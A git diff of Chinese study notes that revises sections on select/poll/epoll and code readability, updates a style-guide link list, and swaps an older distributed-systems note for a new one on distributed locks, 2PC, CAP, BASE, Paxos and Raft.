poll 没有最大描述符数量的限制,如果平台支持应该采用 poll 且对实时性要求并不是十分严格,而不是 select。 poll 没有最大描述符数量的限制,如果平台支持并且对实时性要求不高,应该使用 poll 而不是 select。
需要同时监控小于 1000 个描述符。那么也没有必要使用 epoll因为这个应用场景下并不能体现 epoll 的优势。
需要监控的描述符状态变化多,而且都是非常短暂的。因为 epoll 中的所有描述符都存储在内核中,造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用频繁系统调用降低效率。epoll 的描述符存储在内核,不容易调试。
### 3. epoll 应用场景 ### 3. epoll 应用场景
程序只需要运行在 Linux 平台上,有非常大量的描述符需要同时轮询,且这些连接最好是长连接。 只需要运行在 Linux 平台上,有大量的描述符需要同时轮询,且这些连接最好是长连接。
### 4. 性能对比 需要同时监控小于 1000 个描述符,就没有必要使用 epoll因为这个应用场景下并不能体现 epoll 的优势。
> [epoll Scalability Web Page](http://lse.sourceforge.net/epoll/index.html) 需要监控的描述符状态变化多,而且都是非常短暂的,也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中,造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用,频繁系统调用降低效率。并且 epoll 的描述符存储在内核,不容易调试。
# 参考资料 # 参考资料
@ -341,3 +319,5 @@ poll 没有最大描述符数量的限制,如果平台支持应该采用 poll
- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx) - [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859) - [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html) - [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)

View File

@ -3,7 +3,7 @@
* [二、用名字表达代码含义](#二用名字表达代码含义) * [二、用名字表达代码含义](#二用名字表达代码含义)
* [三、名字不能带来歧义](#三名字不能带来歧义) * [三、名字不能带来歧义](#三名字不能带来歧义)
* [四、良好的代码风格](#四良好的代码风格) * [四、良好的代码风格](#四良好的代码风格)
* [五、编写注释](#五编写注释) * [五、为何编写注释](#五为何编写注释)
* [六、如何编写注释](#六如何编写注释) * [六、如何编写注释](#六如何编写注释)
* [七、提高控制流的可读性](#七提高控制流的可读性) * [七、提高控制流的可读性](#七提高控制流的可读性)
* [八、拆分长表达式](#八拆分长表达式) * [八、拆分长表达式](#八拆分长表达式)
@ -43,12 +43,14 @@
起完名字要思考一下别人会对这个名字有何解读,会不会误解了原本想表达的含义。 起完名字要思考一下别人会对这个名字有何解读,会不会误解了原本想表达的含义。
用 min、max 表示数量范围;用 first、last 表示访问空间的包含范围begin、end 表示访问空间的排除范围,即 end 不包含尾部 布尔相关的命名加上 is、can、should、has 等前缀
- 用 min、max 表示数量范围;
- 用 first、last 表示访问空间的包含范围;
- begin、end 表示访问空间的排除范围,即 end 不包含尾部。
<div align="center"> <img src="../pics//05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg"/> </div><br> <div align="center"> <img src="../pics//05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg"/> </div><br>
布尔相关的命名加上 is、can、should、has 等前缀。
# 四、良好的代码风格 # 四、良好的代码风格
适当的空行和缩进。 适当的空行和缩进。
@ -61,11 +63,9 @@ int b = 11; // 注释
int c = 111; // 注释 int c = 111; // 注释
``` ```
语句顺序不能随意,比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致 语句顺序不能随意,比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致
把相关的代码按块组织起来放在一起。 # 五、为何编写注释
# 五、编写注释
阅读代码首先会注意到注释,如果注释没太大作用,那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释,特别是并不需要为每个方法都加上注释,比如那些简单的 getter 和 setter 方法,为这些方法写注释反而让代码可读性更差。 阅读代码首先会注意到注释,如果注释没太大作用,那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释,特别是并不需要为每个方法都加上注释,比如那些简单的 getter 和 setter 方法,为这些方法写注释反而让代码可读性更差。
@ -81,7 +81,7 @@ int c = 111; // 注释
|---|---| |---|---|
|TODO| 待做 | |TODO| 待做 |
|FIXME| 待修复 | |FIXME| 待修复 |
|HACH| 粗糙的解决方案 | |HACK| 粗糙的解决方案 |
|XXX| 危险!这里有重要的问题 | |XXX| 危险!这里有重要的问题 |
# 六、如何编写注释 # 六、如何编写注释
@ -109,14 +109,6 @@ int add(int x, int y) {
} }
``` ```
在很复杂的函数调用中对每个参数标上名字:
```java
int a = 1;
int b = 2;
int num = add(\* x = *\ a, \* y = *\ b);
```
使用专业名词来缩短概念上的解释,比如用设计模式名来说明代码。 使用专业名词来缩短概念上的解释,比如用设计模式名来说明代码。
# 七、提高控制流的可读性 # 七、提高控制流的可读性
@ -128,16 +120,6 @@ if (len < 10)
if (10 > len) if (10 > len)
``` ```
if / else 条件语句,逻辑的处理顺序为:① 正逻辑;② 关键逻辑;③ 简单逻辑。
```java
if (a == b) {
// 正逻辑
} else{
// 反逻辑
}
```
只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑,否则应该拆分成 if / else 只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑,否则应该拆分成 if / else
do / while 的条件放在后面,不够简单明了,并且会有一些迷惑的地方,最好使用 while 来代替。 do / while 的条件放在后面,不够简单明了,并且会有一些迷惑的地方,最好使用 while 来代替。

View File

@ -1,14 +1,6 @@
# Google Java Style Guide <!-- GFM-TOC -->
<!-- GFM-TOC -->
- http://www.hawstein.com/posts/google-java-style.html
- http://google.github.io/styleguide/javaguide.html
# Google C++ Style Guide - [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
- http://zh-google-styleguide.readthedocs.io/en/latest/google-cpp-styleguide/contents/
- http://google.github.io/styleguide/cppguide.html
# Google Python Style Guide
- http://zh-google-styleguide.readthedocs.io/en/latest/google-python-styleguide/contents/
- http://google.github.io/styleguide/pyguide.html

338
notes/分布式.md Normal file
View File

@ -0,0 +1,338 @@
<!-- GFM-TOC -->
* [一、分布式锁](#一分布式锁)
* [数据库的唯一索引](#数据库的唯一索引)
* [Redis 的 SETNX 指令](#redis-的-setnx-指令)
* [Redis 的 RedLock 算法](#redis-的-redlock-算法)
* [Zookeeper 的有序节点](#zookeeper-的有序节点)
* [二、分布式事务](#二分布式事务)
* [本地消息表](#本地消息表)
* [2PC](#2pc)
* [三、CAP](#三cap)
* [一致性](#一致性)
* [可用性](#可用性)
* [分区容忍性](#分区容忍性)
* [权衡](#权衡)
* [四、BASE](#四base)
* [基本可用](#基本可用)
* [软状态](#软状态)
* [最终一致性](#最终一致性)
* [五、Paxos](#五paxos)
* [执行过程](#执行过程)
* [约束条件](#约束条件)
* [六、Raft](#六raft)
* [单个 Candidate 的竞选](#单个-candidate-的竞选)
* [多个 Candidate 竞选](#多个-candidate-竞选)
* [数据同步](#数据同步)
* [参考](#参考)
<!-- GFM-TOC -->
# 一、分布式锁
在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。
阻塞锁通常使用互斥量来实现:
- 互斥量为 0 表示有其它进程在使用锁,此时处于锁定状态;
- 互斥量为 1 表示未锁定状态。
1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。
## 数据库的唯一索引
获得锁时向表中插入一条记录,释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否存于锁定状态。
存在以下几个问题:
- 锁没有失效时间,解锁失败的话其它进程无法再获得该锁。
- 只能是非阻塞锁,插入失败直接就报错了,无法重试。
- 不可重入,已经获得锁的进程也必须重新获取锁。
## Redis 的 SETNX 指令
使用 SETNXset if not exist指令插入一个键值对如果 Key 已经存在,那么会返回 False否则插入成功并返回 True。
SETNX 指令和数据库的唯一索引类似,保证了只存在一个 Key 的键值对,那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
EXPIRE 指令可以为一个键值对设置一个过期时间,从而避免了数据库唯一索引实现方式中释放锁失败的问题。
## Redis 的 RedLock 算法
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
- 尝试从 N 个相互独立 Redis 实例获取锁;
- 计算获取锁消耗的时间只有当这个时间小于锁的过期时间并且从大多数N / 2 + 1实例上获取了锁那么就认为锁获取成功了
- 如果锁获取失败,就到每个实例上释放锁。
## Zookeeper 的有序节点
### 1. Zookeeper 抽象模型
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点的父节点为 /app1。
<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
### 2. 节点类型
- 永久节点:不会因为会话结束或者超时而消失;
- 临时节点:如果会话结束或者超时就会消失;
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000它的下一个有序节点则为 /lock/node-0000000001以此类推。
### 3. 监听器
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
### 4. 分布式锁实现
- 创建一个锁目录 /lock
- 当一个客户端需要获取锁时,在 /lock 下创建临时的且有序的子节点;
- 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
- 执行业务代码,完成后,删除对应的子节点。
### 5. 会话超时
如果一个已经获得锁的会话超时了因为创建的是临时节点所以该会话对应的临时节点会被删除其它会话就可以获得锁了。可以看到Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
### 6. 羊群效应
一个节点未获得锁,只需要监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
# 二、分布式事务
指事务的操作位于不同的节点上,需要保证事务的 ACID 特性。
例如在下单场景下,库存和订单如果不在同一个节点上,就涉及分布式事务。
## 本地消息表
本地消息表与业务数据表处于同一个数据库中,这样就能利用本地事务来保证在对这两个表的操作满足事务特性,并且使用了消息队列来保证最终一致性。
1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中,如果转发成功则将消息从本地消息表中删除,否则继续重新转发。
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
## 2PC
两阶段提交Two-phase Commit2PC通过引入协调者Coordinator来协调参与者的行为并最终决定这些参与者是否要真正执行事务。
### 1. 运行过程
#### 1.1 准备阶段
协调者询问参与者事务是否执行成功,参与者发回事务执行结果。
<div align="center"> <img src="../pics//04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
#### 1.2 提交阶段
如果事务在每个参与者上都执行成功,事务协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
<div align="center"> <img src="../pics//2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
### 2. 存在的问题
#### 2.1 同步阻塞
所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态,无法进行其它操作。
#### 2.2 单点问题
协调者在 2PC 中起到非常大的作用,发生故障将会造成很大影响。特别是在阶段二发生故障,所有参与者会一直等待状态,无法完成其它操作。
#### 2.3 数据不一致
在阶段二,如果协调者只发送了部分 Commit 消息,此时网络发生异常,那么只有部分参与者接收到 Commit 消息,也就是说只有部分参与者提交了事务,使得系统数据不一致。
#### 2.4 太过保守
任意一个节点失败就会导致整个事务失败,没有完善的容错机制。
# 三、CAP
分布式系统不可能同时满足一致性CConsistency、可用性AAvailability和分区容忍性PPartition Tolerance最多只能同时满足其中两项。
<div align="center"> <img src="../pics//f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
## 一致性
一致性指的是多个数据副本是否能保持一致的特性,在一致性的条件下,系统在执行数据更新操作之后能够从一致性状态转移到另一个一致性状态。
对系统的一个数据更新成功之后,如果所有用户都能够读取到最新的值,该系统就被认为具有强一致性。
## 可用性
可用性指分布式系统在面对各种异常时可以提供正常服务的能力可以用系统可用时间占总时间的比值来衡量4 个 9 的可用性表示系统 99.99% 的时间是可用的。
在可用性条件下,要求系统提供的服务一直处于可用的状态,对于用户的每一个操作请求总是能够在有限的时间内返回结果。
## 分区容忍性
网络分区指分布式系统中的节点被划分为多个区域,每个区域内部可以通信,但是区域之间无法通信。
在分区容忍性条件下,分布式系统在遇到任何网络分区故障的时候,仍然需要能对外提供一致性和可用性的服务,除非是整个网络环境都发生了故障。
## 权衡
在分布式系统中分区容忍性必不可少因为需要总是假设网络是不可靠的。因此CAP 理论实际上是要在可用性和一致性之间做权衡。
可用性和一致性往往是冲突的,很难使它们同时满足。在多个节点之间进行数据同步时,
- 为了保证一致性CP就需要让所有节点下线成为不可用的状态等待同步完成
- 为了保证可用性AP在同步过程中允许读取所有节点的数据但是数据可能不一致。
<div align="center"> <img src="../pics//0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
# 四、BASE
BASE 是基本可用Basically Available、软状态Soft State和最终一致性Eventually Consistent三个短语的缩写。
BASE 理论是对 CAP 中一致性和可用性权衡的结果,它的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
<div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
## 基本可用
指分布式系统在出现故障的时候,保证核心可用,允许损失部分可用性。
例如,电商在做促销时,为了保证购物系统的稳定性,部分消费者可能会被引导到一个降级的页面。
## 软状态
指允许系统中的数据存在中间状态,并认为该中间状态不会影响系统整体可用性,即允许系统不同节点的数据副本之间进行同步的过程存在时延。
## 最终一致性
最终一致性强调的是系统中所有的数据副本,在经过一段时间的同步后,最终能达到一致的状态。
ACID 要求强一致性,通常运用在传统的数据库系统上。而 BASE 要求最终一致性,通过牺牲强一致性来达到可用性,通常运用在大型分布式系统中。
在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。
# 五、Paxos
用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。
主要有三类节点:
- 提议者Proposer提议一个值
- 接受者Acceptor对每个提议进行投票
- 告知者Learner被告知投票的结果不参与投票过程。
<div align="center"> <img src="../pics//b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
## 执行过程
规定一个提议包含两个字段:[n, v],其中 n 为序号具有唯一性v 为提议值。
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送提议请求。
<div align="center"> <img src="../pics//1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
如下图Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
<div align="center"> <img src="../pics//fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
如果 Acceptor 接收到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的提议响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
<div align="center"> <img src="../pics//2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。
Proposer A 接收到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
<div align="center"> <img src="../pics//9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
Acceptor 接收到接受请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
<div align="center"> <img src="../pics//bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
## 约束条件
### 1\. 正确性
指只有一个提议值会生效。
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
### 2\. 可终止性
指最后总会有一个提议生效。
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
# 六、Raft
Raft 也是分布式一致性协议,主要是用来竞选主节点。
## 单个 Candidate 的竞选
有三种节点Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate进入竞选阶段。
- 下图展示一个分布式系统的最初阶段,此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。
<div align="center"> <img src="../pics//111521118015898.gif"/> </div><br>
- 此时 Node A 发送投票请求给其它所有节点。
<div align="center"> <img src="../pics//111521118445538.gif"/> </div><br>
- 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。
<div align="center"> <img src="../pics//111521118483039.gif"/> </div><br>
- 之后 Leader 会周期性地发送心跳包给 FollowerFollower 接收到心跳包,会重新开始计时。
<div align="center"> <img src="../pics//111521118640738.gif"/> </div><br>
## 多个 Candidate 竞选
- 如果有多个 Follower 成为 Candidate并且所获得票数相同那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票,需要重新开始投票。
<div align="center"> <img src="../pics//111521119203347.gif"/> </div><br>
- 由于每个节点设置的随机竞选超时时间不同,因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
<div align="center"> <img src="../pics//111521119368714.gif"/> </div><br>
## 数据同步
- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交只是写入日志中。
<div align="center"> <img src="../pics//7.gif"/> </div><br>
- Leader 会把修改复制到所有 Follower。
<div align="center"> <img src="../pics//9.gif"/> </div><br>
- Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
<div align="center"> <img src="../pics//10.gif"/> </div><br>
- 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
<div align="center"> <img src="../pics//11.gif"/> </div><br>
# 参考
- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
- [Distributed locks with Redis](https://redis.io/topics/distlock)
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)

View File

@ -1,342 +0,0 @@
<!-- GFM-TOC -->
* [一、基本概念](#一基本概念)
* [异常](#异常)
* [超时](#超时)
* [衡量指标](#衡量指标)
* [二、数据分布](#二数据分布)
* [哈希分布](#哈希分布)
* [顺序分布](#顺序分布)
* [负载均衡](#负载均衡)
* [三、复制](#三复制)
* [复制原理](#复制原理)
* [复制协议](#复制协议)
* [CAP](#cap)
* [BASE](#base)
* [四、容错](#四容错)
* [故障检测](#故障检测)
* [故障恢复](#故障恢复)
* [五、一致性协议](#五一致性协议)
* [Paxos 协议](#paxos-协议)
* [Raft 协议](#raft-协议)
* [拜占庭将军问题](#拜占庭将军问题)
* [六、CDN 架构](#六cdn-架构)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、基本概念
## 异常
### 1. 服务器宕机
内存错误、服务器停电等都会导致服务器宕机,此时节点无法正常工作,称为不可用。
服务器宕机会导致节点失去所有内存信息,因此需要将内存信息保存到持久化介质上。
### 2. 网络异常
有一种特殊的网络异常称为 **网络分区** ,即集群的所有节点被划分为多个区域,每个区域内部可以通信,但是区域之间无法通信。
### 3. 磁盘故障
磁盘故障是一种发生概率很高的异常。
使用冗余机制,将数据存储到多台服务器。
## 超时
在分布式系统中,一个请求除了成功和失败两种状态,还存在着超时状态。
<div align="center"> <img src="../pics//b0e8ef47-2f23-4379-8c64-10d5cb44d438.jpg"/> </div><br>
可以将服务器的操作设计为具有 **幂等性** ,即执行多次的结果与执行一次的结果相同。如果使用这种方式,当出现超时的时候,可以不断地重新请求直到成功。
## 衡量指标
### 1. 性能
常见的性能指标有:吞吐量、响应时间。
其中,吞吐量指系统在某一段时间可以处理的请求总数,通常为每秒的读操作数或者写操作数;响应时间指从某个请求发出到接收到返回结果消耗的时间。
这两个指标往往是矛盾的,追求高吞吐的系统,往往很难做到低响应时间,解释如下:
- 在无并发的系统中,吞吐量为响应时间的倒数,例如响应时间为 10 ms那么吞吐量为 100 req/s因此高吞吐也就意味着低响应时间。
- 但是在并发的系统中,由于一个请求在调用 I/O 资源的时候,需要进行等待。服务器端一般使用的是异步等待方式,即等待的请求被阻塞之后不需要一直占用 CPU 资源。这种方式能大大提高 CPU 资源的利用率,例如上面的例子中,单个请求在无并发的系统中响应时间为 10 ms如果在并发的系统中那么吞吐量将大于 100 req/s。因此为了追求高吞吐量通常会提高并发程度。但是并发程度的增加会导致请求的平均响应时间也增加因为请求不能马上被处理需要和其它请求一起进行并发处理响应时间自然就会增高。
### 2. 可用性
可用性指系统在面对各种异常时可以提供正常服务的能力。可以用系统可用时间占总时间的比值来衡量4 个 9 的可用性表示系统 99.99% 的时间是可用的。
### 3. 一致性
可以从两个角度理解一致性:从客户端的角度,读写操作是否满足某种特性;从服务器的角度,多个数据副本之间是否一致。
### 4. 可扩展性
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线性增加。
# 二、数据分布
分布式存储系统的数据分布在多个节点中,常用的数据分布方式有哈希分布和顺序分布。
数据库的水平切分Sharding也是一种分布式存储方法下面的数据分布方法同样适用于 Sharding。
## 哈希分布
哈希分布就是将数据计算哈希值之后,按照哈希值分配到不同的节点上。例如有 N 个节点,数据的主键为 key则将该数据分配的节点序号为hash(key)%N。
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
**一致性哈希**
Distributed Hash TableDHT对于哈希空间 [0, 2<sup>n</sup>-1],将该哈希空间看成一个哈希环,将每个节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
<div align="center"> <img src="../pics//d2d34239-e7c1-482b-b33e-3170c5943556.jpg"/> </div><br>
一致性哈希的优点是在增加或者删除节点时只会影响到哈希环中相邻的节点,例如下图中新增节点 X只需要将数据对象 C 重新存放到节点 X 上即可,对于节点 A、B、D 都没有影响。
<div align="center"> <img src="../pics//91ef04e4-923a-4277-99c0-6be4ce81e5ac.jpg"/> </div><br>
## 顺序分布
哈希分布式破坏了数据的有序性,顺序分布则不会。
顺序分布的数据划分为多个连续的部分,按数据的 ID 或者时间分布到不同节点上。例如下图中User 表的 ID 范围为 1 \~ 7000使用顺序分布可以将其划分成多个子表对应的主键范围为 1 \~ 10001001 \~ 2000...6001 \~ 7000。
顺序分布的优点是可以充分利用每个节点的空间,而哈希分布很难控制一个节点存储多少数据。
但是顺序分布需要使用一个映射表来存储数据到节点的映射,这个映射表通常使用单独的节点来存储。当数据量非常大时,映射表也随着变大,那么一个节点就可能无法存放下整个映射表。并且单个节点维护着整个映射表的开销很大,查找速度也会变慢。为了解决以上问题,引入了一个中间层,也就是 Meta 表,从而分担映射表的维护工作。
<div align="center"> <img src="../pics//8f64e9c5-7682-4feb-9312-dea09514e160.jpg"/> </div><br>
## 负载均衡
衡量负载的因素很多,如 CPU、内存、磁盘等资源使用情况、读写请求数等。
分布式系统存储应当能够自动负载均衡,当某个节点的负载较高,将它的部分数据迁移到其它节点。
每个集群都有一个总控节点其它节点为工作节点由总控节点根据全局负载信息进行整体调度工作节点定时发送心跳包Heartbeat将节点负载相关的信息发送给总控节点。
一个新上线的工作节点,由于其负载较低,如果不加控制,总控节点会将大量数据同时迁移到该节点上,造成该节点一段时间内无法工作。因此负载均衡操作需要平滑进行,新加入的节点需要较长的一段时间来达到比较均衡的状态。
# 三、复制
## 复制原理
复制是保证分布式系统高可用的基础,让一个数据存储多个副本,当某个副本所在的节点出现故障时,能够自动切换到其它副本上,从而实现故障恢复。
多个副本通常有一个为主副本,其它为备副本。主副本用来处理写请求,备副本主要用来处理读请求,实现读写分离。
主副本将同步操作日志发送给备副本,备副本通过回放操作日志获取最新修改。
<div align="center"> <img src="../pics//44e4a7ab-215c-41a1-8e34-f55f6c09e517.jpg"/> </div><br>
## 复制协议
主备副本之间有两种复制协议,一种是强同步复制协议,一种是异步复制协议。
### 1. 强同步复制协议
要求主副本将同步操作日志发给备副本之后进行等待,要求至少一个备副本返回成功后,才开始修改主副本,修改完成之后通知客户端操作成功。
优点:至少有一个备副本拥有完整的数据,出现故障时可以安全地切换到该备副本,因此一致性好。
缺点:可用性差,因为主副本需要等待,那么整个分布式系统的可用时间就会降低。
### 2. 异步复制协议
主副本将同步操作日志发给备副本之后不需要进行等待,直接修改主副本并通知客户端操作成功。
优点:可用性好。
缺点:一致性差。
## CAP
分布式存储系统不可能同时满足一致性CConsistency、可用性AAvailability和分区容忍性PPartition tolerance最多只能同时满足其中两项。
在设计分布式系统时需要根据实际需求弱化某一要求。因此就有了下图中的三种设计CA、CP 和 AP。
需要注意的是,分区容忍性必不可少,因为需要总是假设网络是不可靠的,并且系统需要能够自动容错,因此实际上设计分布式存储系统需要在一致性和可用性之间做权衡。上一节介绍的强同步协议和异步复制协议就是在一致性和可用性做权衡得到的结果。
<div align="center"> <img src="../pics//992faced-afcf-414d-b801-9c16d6570fec.jpg" width="500"/> </div><br>
## BASE
BASE 是 Basically Available基本可用、Soft State软状态和 Eventually Consistent最终一致性三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
<div align="center"> <img src="../pics//5930aeb8-847d-4e9f-a168-9334d7dec744.png" width="250"/> </div><br>
### 1. 基本可用
指分布式系统在出现故障的时候,保证核心可用,允许损失部分可用性。
例如,电商在做促销时,服务层可能只提供降级服务,部分用户可能会被引导到降级页面上。
### 2. 软状态
指允许系统存在中间状态,而该中间状态不会影响系统整体可用性,即不同节点的数据副本之间进行同步的过程允许存在延时。
### 3. 最终一致性
一致性模型包含以下三种:
- 强一致性:新数据写入之后,在任何数据副本上都能读取到最新值;
- 弱一致性:新数据写入之后,不能保证在数据副本上能读取到最新值;
- 最终一致性:新数据写入之后,只能保证过了一个时间窗口后才能在数据副本上读取到最新值;
强一致性通常运用在需要满足 ACID 的传统数据库系统上,而最终一致性通常运用在大型分布式系统中。应该注意的是,上面介绍的强同步复制协议和异步复制协议都不能保证强一致性,因为它们是分布式系统的复制协议。这两种复制协议如果要满足最终一致性,还需要多加一些控制。
在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。
# 四、容错
分布式系统故障发生的概率很大,为了实现高可用以及减少人工运维成本,需要实现自动化容错。
## 故障检测
